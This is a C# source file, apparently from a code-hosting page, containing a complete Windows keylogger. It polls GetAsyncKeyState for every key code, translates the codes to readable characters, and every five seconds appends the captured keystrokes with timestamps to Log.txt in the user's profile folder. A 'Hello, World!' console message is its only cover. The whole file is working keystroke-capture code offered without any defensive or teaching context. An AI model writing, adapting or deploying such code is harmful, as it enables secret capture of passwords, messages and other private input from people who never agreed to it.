172 lines
5.2 KiB
C#
172 lines
5.2 KiB
C#
namespace project1;
|
||
|
||
using System.Runtime.InteropServices;
|
||
using System.Timers;
|
||
|
||
internal class Program
|
||
{
|
||
[DllImport("user32.dll")]
|
||
public static extern int GetAsyncKeyState(Int32 i);
|
||
private static string path = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Log.txt";
|
||
private static string buffer = "";
|
||
|
||
static void Main(string[] args)
|
||
{
|
||
Timer t = new Timer();
|
||
t.Interval = 5000;
|
||
t.AutoReset = true;
|
||
t.Elapsed += T_Elapsed;
|
||
t.Enabled = true;
|
||
|
||
|
||
Console.Write("Hello, World!");
|
||
while (true)
|
||
{
|
||
Thread.Sleep(10);
|
||
|
||
for (int i = 0; i < 255; i++)
|
||
{
|
||
int keyState = GetAsyncKeyState(i);
|
||
if (keyState == 1 || keyState == -32767 || keyState == 32769)
|
||
{
|
||
buffer += normalizeKey(i);
|
||
}
|
||
}
|
||
}
|
||
|
||
}
|
||
|
||
private static void T_Elapsed(object? sender, ElapsedEventArgs e)
|
||
{
|
||
var myBuffer = buffer;
|
||
buffer = "";
|
||
|
||
if (!string.IsNullOrEmpty(myBuffer))
|
||
{
|
||
using (var file = new StreamWriter(path, true))
|
||
{
|
||
file.AutoFlush = false;
|
||
file.WriteLine(DateTime.Now);
|
||
file.WriteLine(myBuffer);
|
||
Console.Write(":) ");
|
||
}
|
||
}
|
||
}
|
||
|
||
private static string normalizeKey(int code)
|
||
{
|
||
switch (code)
|
||
{
|
||
case 8: return "[Back]";
|
||
case 9: return "[TAB]";
|
||
case 13: return "[Enter]";
|
||
case 19: return "[Pause]";
|
||
case 20: return "[Caps Lock]";
|
||
case 27: return "[Esc]";
|
||
case 32: return "[Space]";
|
||
case 33: return "[Page Up]";
|
||
case 34: return "[Page Down]";
|
||
case 35: return "[End]";
|
||
case 36: return "[Home]";
|
||
case 37: return "[Left]";
|
||
case 38: return "[Up]";
|
||
case 39: return "[Right]";
|
||
case 40: return "[Down]";
|
||
case 44: return "[Print Screen]";
|
||
case 45: return "[Insert]";
|
||
case 46: return "[Delete]";
|
||
case 48: return "0";
|
||
case 49: return "1";
|
||
case 50: return "2";
|
||
case 51: return "3";
|
||
case 52: return "4";
|
||
case 53: return "5";
|
||
case 54: return "6";
|
||
case 55: return "7";
|
||
case 56: return "8";
|
||
case 57: return "9";
|
||
case 65: return "a";
|
||
case 66: return "b";
|
||
case 67: return "c";
|
||
case 68: return "d";
|
||
case 69: return "e";
|
||
case 70: return "f";
|
||
case 71: return "g";
|
||
case 72: return "h";
|
||
case 73: return "i";
|
||
case 74: return "j";
|
||
case 75: return "k";
|
||
case 76: return "l";
|
||
case 77: return "m";
|
||
case 78: return "n";
|
||
case 79: return "o";
|
||
case 80: return "p";
|
||
case 81: return "q";
|
||
case 82: return "r";
|
||
case 83: return "s";
|
||
case 84: return "t";
|
||
case 85: return "u";
|
||
case 86: return "v";
|
||
case 87: return "w";
|
||
case 88: return "x";
|
||
case 89: return "y";
|
||
case 90: return "z";
|
||
case 91: return "[Windows]";
|
||
case 92: return "[Windows]";
|
||
case 93: return "[List]";
|
||
case 96: return "0";
|
||
case 97: return "1";
|
||
case 98: return "2";
|
||
case 99: return "3";
|
||
case 100: return "4";
|
||
case 101: return "5";
|
||
case 102: return "6";
|
||
case 103: return "7";
|
||
case 104: return "8";
|
||
case 105: return "9";
|
||
case 106: return "*";
|
||
case 107: return "+";
|
||
case 109: return "-";
|
||
case 110: return ",";
|
||
case 111: return "/";
|
||
case 112: return "[F1]";
|
||
case 113: return "[F2]";
|
||
case 114: return "[F3]";
|
||
case 115: return "[F4]";
|
||
case 116: return "[F5]";
|
||
case 117: return "[F6]";
|
||
case 118: return "[F7]";
|
||
case 119: return "[F8]";
|
||
case 120: return "[F9]";
|
||
case 121: return "[F10]";
|
||
case 122: return "[F11]";
|
||
case 123: return "[F12]";
|
||
case 144: return "[Num Lock]";
|
||
case 145: return "[Scroll Lock]";
|
||
case 160: return "[Shift]";
|
||
case 161: return "[Shift]";
|
||
case 162: return "[Ctrl]";
|
||
case 163: return "[Ctrl]";
|
||
case 164: return "[Alt]";
|
||
case 165: return "[Alt]";
|
||
case 187: return "=";
|
||
case 186: return "ç";
|
||
case 188: return ",";
|
||
case 189: return "-";
|
||
case 190: return ".";
|
||
case 192: return "'";
|
||
case 191: return ";";
|
||
case 193: return "/";
|
||
case 194: return ".";
|
||
case 219: return "´";
|
||
case 220: return "]";
|
||
case 221: return "[";
|
||
case 222: return "~";
|
||
case 226: return "\\";
|
||
|
||
default:
|
||
return "[" + code + "]";
|
||
}
|
||
}
|
||
}
|